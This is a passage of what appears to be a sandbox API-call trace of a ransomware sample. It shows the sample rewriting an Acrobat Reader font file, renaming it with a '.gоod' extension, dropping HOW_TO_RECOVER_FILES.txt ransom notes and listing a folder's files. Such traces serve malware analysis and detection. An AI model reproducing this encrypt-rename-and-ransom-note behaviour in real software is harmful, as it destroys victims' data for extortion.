lpNumberOfBytesRead=0x1f35b568, lpOverlapped=0x0 | out: lpBuffer=0x3605b00*, lpNumberOfBytesRead=0x1f35b568*=0x1000, lpOverlapped=0x0) returned 1 [0108.548] CloseHandle (hObject=0x20c) returned 1 [0108.548] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf", lpFilePart=0x0) returned 0x52 [0108.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0108.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\prc\\myriadcad.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0108.548] GetFileType (hFile=0x20c) returned 0x1 [0108.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0108.548] GetFileType (hFile=0x20c) returned 0x1 [0108.548] WriteFile (in: hFile=0x20c, lpBuffer=0x3493488*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35b618, lpOverlapped=0x0 | out: lpBuffer=0x3493488*, lpNumberOfBytesWritten=0x1f35b618*=0x1010, lpOverlapped=0x0) returned 1 [0108.548] CloseHandle (hObject=0x20c) returned 1 [0108.549] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf", lpFilePart=0x0) returned 0x52 [0108.549] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf.gоod", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf.gоod", lpFilePart=0x0) returned 0x57 [0108.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b550) returned 1 [0108.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\prc\\myriadcad.otf"), fInfoLevelId=0x0, lpFileInformation=0x1f35b630 | out: lpFileInformation=0x1f35b630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3ce8b92a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x131d4)) returned 1 [0108.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b510) returned 1 [0108.549] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\prc\\myriadcad.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\prc\\myriadcad.otf.gоod")) returned 1 [0108.550] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35b230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5d [0108.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b750) returned 1 [0108.550] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\prc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0108.550] GetFileType (hFile=0x20c) returned 0x1 [0108.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6c0) returned 1 [0108.550] GetFileType (hFile=0x20c) returned 0x1 [0108.551] WriteFile (in: hFile=0x20c, lpBuffer=0x35282c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35b818, lpOverlapped=0x0 | out: lpBuffer=0x35282c0*, lpNumberOfBytesWritten=0x1f35b818*=0x5d0, lpOverlapped=0x0) returned 1 [0108.552] CloseHandle (hObject=0x20c) returned 1 [0108.552] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35bc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x59 [0108.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c180) returned 1 [0108.552] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0108.552] GetFileType (hFile=0x20c) returned 0x1 [0108.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c0f0) returned 1 [0108.552] GetFileType (hFile=0x20c) returned 0x1 [0108.553] WriteFile (in: hFile=0x20c, lpBuffer=0x352bb78*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35c248, lpOverlapped=0x0 | out: lpBuffer=0x352bb78*, lpNumberOfBytesWritten=0x1f35c248*=0x5d0, lpOverlapped=0x0) returned 1 [0108.554] CloseHandle (hObject=0x20c) returned 1 [0108.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0108.554] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker", lpFilePart=0x0) returned 0x3d [0108.554] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0108.895] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.929] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387172c5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_reviewer.gif", cAlternateFileName="ADD_RE~1.GIF")) returned 1 [0108.929] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3873d518, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0x0, cFileName="bl.gif", cAlternateFileName="")) returned 1 [0108.929] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="br.gif", cAlternateFileName="")) returned 1 [0108.929] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="create_form.gif", cAlternateFileName="CREATE~1.GIF")) returned 1 [0108.929] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="distribute_form.gif", cAlternateFileName="DISTRI~1.GIF")) returned 1 [0108.930] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387899bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x5a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_all.gif", cAlternateFileName="EMAIL_~1.GIF")) returned 1 [0108.930] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x550, dwReserved0=0x0, dwReserved1=0x0, cFileName="email_initiator.gif", cAlternateFileName="EMAIL_~2.GIF")) returned 1 [0108.930] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="ended_review_or_form.gif", cAlternateFileName="ENDED_~1.GIF")) returned 1 [0108.930] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="end_review.gif", cAlternateFileName="END_RE~1.GIF")) returned 1 [0108.930] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_distributed.gif", cAlternateFileName="FORMS_~1.GIF")) returned 1 [0108.930] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_received.gif", cAlternateFileName="FORMS_~2.GIF")) returned 1 [0108.931] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="forms_super.gif", cAlternateFileName="FORMS_~3.GIF")) returned 1 [0108.931] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_responses.gif", cAlternateFileName="FORM_R~1.GIF")) returned 1 [0108.931] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.gif", cAlternateFileName="")) returned 1 [0108.931] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0108.931] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="open_original_form.gif", cAlternateFileName="OPEN_O~1.GIF")) returned 1 [0108.932] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdf.gif", cAlternateFileName="")) returned 1 [0108.932] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviewers.gif", cAlternateFileName="RE16B1~1.GIF")) returned 1 [0108.932] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_joined.gif", cAlternateFileName="RE99D5~1.GIF")) returned 1 [0108.932] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_sent.gif", cAlternateFileName="RECDE7~1.GIF")) returned 1 [0108.932] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_super.gif", cAlternateFileName="RE1558~1.GIF")) returned 1 [0108.932] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_browser.gif", cAlternateFileName="REVIEW~1.GIF")) returned 1 [0108.932] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_email.gif", cAlternateFileName="REVIEW~2.GIF")) returned 1 [0108.933] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_same_reviewers.gif", cAlternateFileName="REVIEW~3.GIF")) returned 1 [0108.933] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_shared.gif", cAlternateFileName="REVIEW~4.GIF")) returned 1 [0108.933] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss.gif", cAlternateFileName="")) returned 1 [0108.933] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_issue.gif", cAlternateFileName="SERVER~1.GIF")) returned 1 [0108.933] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_lg.gif", cAlternateFileName="SERVER~2.GIF")) returned 1 [0108.934] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_ok.gif", cAlternateFileName="SERVER~3.GIF")) returned 1 [0108.934] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x393, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop_collection_data.gif", cAlternateFileName="STOP_C~1.GIF")) returned 1 [0108.934] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x0, dwReserved1=0x0, cFileName="submission_history.gif", cAlternateFileName="SUBMIS~1.GIF")) returned 1 [0108.934] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="tl.gif", cAlternateFileName="")) returned 1 [0108.934] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, 